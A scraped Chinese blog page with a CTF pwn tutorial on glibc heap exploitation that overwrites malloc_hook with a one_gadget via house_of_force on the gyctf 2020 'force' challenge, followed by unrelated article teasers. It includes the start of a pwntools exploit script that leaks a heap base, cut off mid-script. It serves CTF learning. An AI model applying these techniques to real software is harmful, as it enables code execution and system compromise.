您现在的位置是:首页 > 正文

pwn题堆利用的一些姿势 -- malloc_hook

2024-02-29 11:13:42阅读 1

pwn题堆利用的一些姿势 – free_hook
pwn题堆利用的一些姿势 – IO_FILE
pwn题堆利用的一些姿势 – setcontext
pwn题堆利用的一些姿势 – exit_hook

概述

  在做堆题的时候,经常会遇到保护全开的情况,其中对利用者影响最大的是PIE保护和Full RELRO,NX保护和栈保护对堆利用来说影响都不大,一般利用也不会往这方面靠。开了PIE保护的话代码段的地址会变,需要泄露代码段基地址才能利用存储在bss段上的堆指针;开了Full RELRO的话,则意味着我们无法修改got表,导致无法修改其它函数got表指向system,进一步获取到shell。因此也就有了我这一系列文章的目的,在got表无法被修改时,我们往往利用的就是下面的一些hook+onegadget来达到我们的目的。
  主要分为以下几个系列:malloc_hook --> free_hook --> IO_FILE --> setcontext。

初级必备姿势

  下面介绍malloc_hook函数初级必备姿势,该函数是在malloc函数调用前会执行的钩子函数。在程序中,通常malloc_hook的函数地址对应值为0,也就是不会执行任何东西,我们在利用过程中将其覆盖为onegadget地址,这样再执行一次malloc就会执行onegadget。
  接下来以2020年gyctf的一道pwn题为例,题目名为force,远程环境可以在BUUCTF上找到。该题目中给了明显的提示要我们使用house_of_force进行漏洞利用。对该利用方式不熟悉的读者可以参考我另外一篇博文,pwn题堆入门 – Large bin
  简单分析下题目,程序本身很简单,保护全开,main函数中给了两个功能,一个add,一个puts,然后puts本身也没啥用,无法泄露信息,所以这里只贴了add的代码。如下图所示,add函数实现堆分配,对malloc大小没有限制存在house_of_force利用。图中我高亮的地方也打印出来每次分配的堆地址,后面往堆写内容时也可以进行溢出,所以house_of_force的利用条件是满足的。
add
  利用思路:正如前面所说这里开启了Full RELRO,got表无法被改写,再加上题目本身也没有给泄露函数地址的机会,所以想到利用hook+onegadget合情合理。这里我们确定使用malloc_hook,malloc_hook在libc中,需要泄露libc地址,这里采用分配非常大的内存块方式来进行泄露,原理参考这里 --> pwn题堆入门 – Large bin。接着就是正常的house_of_force攻击了,下面直接给出wp。

from pwn import *

ld_path = "/home/fanxinli/libc-so/lib-23/x86_64-linux-gnu/ld-2.23.so"
libc_path = "/home/fanxinli/libc-so/libc-2.23-64.so"
p = process([ld_path, "./gyctf_2020_force"], env={
   "LD_PRELOAD":libc_path})


def add(size, content):
    p.recvuntil("2:puts\n")
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(size))
    p.recvuntil("bin addr ")
    info = p.recvuntil("\n", drop=True)
    # print(info)
    info = int(info.decode("ISO-8859-1"), 16)
    p.recvuntil("content\n")
    p.send(content)
    return info

# context.log_level = "debug"
# leak base + Top chunk addr
base = add(0x200000, "aaaa") + 0x200ff0
print("base ==> ", hex(base))

pad = cyclic(0x10)</

网站文章

  • 二十一世纪大学英语读写基础教程学习笔记(原文)——9 - In Defense of a Simple Christmas(过个简单的圣诞节)

    Unit 9 - In Defense of a Simple Christmas(过个简单的圣诞节)In the USA, Christmas has long been characterized...

    2024-02-29 11:13:15
  • 腾讯云轻量免费升配 活动截至月底

    腾讯云轻量免费升配 活动截至月底

    免费升配 截至2022年3月底,所有腾讯云境内2C4G8M均可升级至4C4G8M。 传送门: https://console.cloud.tencent.com/lighthouse/instance...

    2024-02-29 11:13:08
  • Matlab之repmat和reshape函数

    repmat:Replicate and tile array               B = repmat(A,n)Description:1.B = repmat(A,n,m) returns an n-by-m tiling of A.   example:Create a diagonal matrixA=diag([10 20 30])A =    1

    2024-02-29 11:13:01
  • 攻防世界Reverse进阶区-Mysterious-writeup

    攻防世界Reverse进阶区-Mysterious-writeup

    1. 介绍 本题是xctf攻防世界中Reverse的进阶区的题Mysterious 题目来源: BUUCTF-2019 题目描述:自从报名了CTF竞赛后,小明就辗转于各大论坛,但是对于逆向题目仍是一知...

    2024-02-29 11:12:32
  • 北航外国语学院计算机项目,北京航空航天大学外国语学院游学项目.pdf

    选择我们的五大理由一、 一流的校园环境北航位于首都北京,并坐拥学院路极佳地理环境,学生藉此平台不仅能够感受厚重的历史文化积淀,享用海量快捷的政治、经济、人文、科技信息,更能在学院路各大高校结识鸿儒,广交朋友,以达长见识、扩视野之目的。除却优越便利的校外环境,学院路校区花园式的校园环境国家“985 工程”和“211 工程”重点建设高校 优美、静雅,是求学求知的理想之地...

    2024-02-29 11:12:25
  • 小米11T/Pro正式发布:搭载 120Hz 显示屏,最高 120W 快充

    小米11T/Pro正式发布:搭载 120Hz 显示屏,最高 120W 快充

    IT之家 9 月 15 日消息 据 91mobiles 报道,今天晚上,小米 11T 和小米 11T Pro 旗舰机已在全球推出。小米 11T Pro 搭载的是骁龙 888 系统芯片,而小米 11T ...

    2024-02-29 11:12:19
  • 数组的声明、构建、初始化

    一般过程: 声明数组 ——》引用变量;(不能包含数组的长度、只有在真正实例化数组对象时,JVM才会分配空间,这时才涉及到长度问题); 构建数组 ——》数组对象;(记住,数组在构建时总是必须给定大小【 显示 或 隐式 】 ); 初始化数组 ——》数组对象中的元素;(通常为 循环内初始化); 另外注意 两种特殊情况: ...

    2024-02-29 11:11:48
  • 实验2-2-3 计算存款利息

    题目: 实验2-2-3计算存款利息(10分) 题目要求: 本题目要求计算存款利息,计算公式为interest=money×(1+rate)year−money,其中interest为存款到期时的利息(...

    2024-02-29 11:11:41
  • 虚拟机连接摄像头程序报错

    错误1:HIGHGUIERROR: V4L/V4L2: VIDIOC_S_CROP错误2:Corrupt JPEG data: premature end of data segment以上错误是虚拟...

    2024-02-29 11:11:33
  • 学习笔记——枚举(枚举类、Enum类、枚举结构(接口、抽象类))

    定义枚举类 枚举是特殊的多例设计,其与表达意义相同。在jdk1.5之后提供enum关键字,利用此关键字可以实现枚举定义。 例子:定义一个枚举 package a.a.a; enum Color{ //...

    2024-02-29 11:11:26